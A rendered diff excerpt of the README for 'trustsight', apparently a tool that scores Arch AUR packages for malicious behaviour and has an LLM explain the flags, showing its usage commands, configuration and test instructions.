|
210
|
+
base_url = "" # set via TRUSTSIGHT_BASE_URL env var instead
|
|
211
|
+
show_reasoning = false # show reasoning tokens in gray
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## At a glance
|
|
217
|
+
|
|
218
|
+
```bash
|
|
219
|
+
# Review all outdated packages (run before yay -Syu)
|
|
220
|
+
trustsight review
|
|
221
|
+
trustsight review --limit 50
|
|
222
|
+
|
|
223
|
+
# Inspect a specific package
|
|
224
|
+
trustsight inspect my-aur-package
|
|
225
|
+
|
|
226
|
+
# View analysis history
|
|
227
|
+
trustsight history my-aur-package
|
|
228
|
+
trustsight history my-aur-package --limit 10
|
|
229
|
+
trustsight history my-aur-package --score-breakdown
|
|
230
|
+
|
|
231
|
+
# Manage configuration
|
|
232
|
+
trustsight config set api_key sk-xxxx
|
|
233
|
+
trustsight config set base_url https://api.openai.com/v1
|
|
234
|
+
trustsight config show
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
LLM verdict with scoring tool definitions:
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
export TRUSTSIGHT_API_KEY=sk-xxxx
|
|
241
|
+
trustsight inspect some-package
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
The LLM receives a structured input with triggered rules, score breakdown, URL classifications, and novelty context. It never calculates scores; it only translates deterministic flags into plain English.
|
|
245
|
+
|
|
246
|
+
---
|
|
247
|
+
|
|
248
|
+
## Testing
|
|
249
|
+
|
|
250
|
+
Run the test suite (no external services needed):
|
|
251
|
+
|
|
252
|
+
```bash
|
|
253
|
+
pip install -e ".[dev]"
|
|
254
|
+
pytest tests/
|
|
255
|
+
```
|
|
256
|
+
|
|
257
|
+
Current test count: 218 tests across 11 test files covering all modules, edge cases, and end-to-end scenarios (benign, obviously malicious, subtly malicious).
|
|
258
|
+
|
|
259
|
+
---
|
|
260
|
+
|
|
261
|
+
## Documentation
|
|
262
|
+
|
|
263
|
+
## License
|
|
264
|
+
|
|
265
|
+
MIT
|